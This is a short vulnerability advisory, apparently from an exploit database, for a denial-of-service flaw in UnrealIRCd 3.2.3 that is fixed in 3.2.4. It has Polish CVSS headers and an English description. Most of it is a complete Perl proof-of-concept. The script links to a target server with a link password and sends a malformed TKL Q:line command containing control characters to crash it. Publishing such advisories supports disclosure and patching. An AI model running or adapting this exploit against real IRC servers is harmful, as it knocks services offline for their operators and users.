UnrealIRCd3.2.3 Server-Link Denial of Service

2006.03.10
Risk: Medium
Local: Yes
Remote: Yes
CWE: N/A


Ogólna skala CVSS: 5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Brak
Wpływ na dostępność: Brak

-Description- UnrealIRCd 3.2.3 is vulnerable to strings sent from a linked server for adding/removing Q:lines with special characters. Could be sent through services. Fixed as of version 3.2.4 -PoC- #!/usr/bin/perl # Denial of Service exploit for UnrealIRCd 3.2.3 # Successfully tested on both Win32 and Linux versions. # admin (at) redneck.servebeer (dot) com [email concealed] (Brandon Milner) use IO::Socket; print ("UnrealIRCd Server-Link Denial of Service exploit PoC by Redneckn"); ################# # Variables # ################# $spass = ("LinkPass"); # Link Password $lserver = ("your.server.name"); # Local Server name $rserver = ("remote.server.name"); # Link Server $rport = (6667); # Link Port $snum = (6); # Server numeric ################# # Create socket # ################# my $sock = new IO::Socket::INET ( PeerAddr => $rserver, PeerPort => $rport, Proto => 'tcp', ); ################# # Connect # ################# die "Couldn't create socket to $rserver / $rport!n" unless $sock; sleep 5; print ("connected to server"); print $sock ("PASS $spassn"); print ("PASS $spassn"); print $sock ("SERVER $lserver 1 $snum :PoC by Redneckn"); print ("SERVER $lserver 1 $snum :PoC by Redneckn"); sleep 5; print $sock ("TKL - qx08Q *x08PoCn"); print ("TKL - qx08Q *x08PoCn"); sleep 5;


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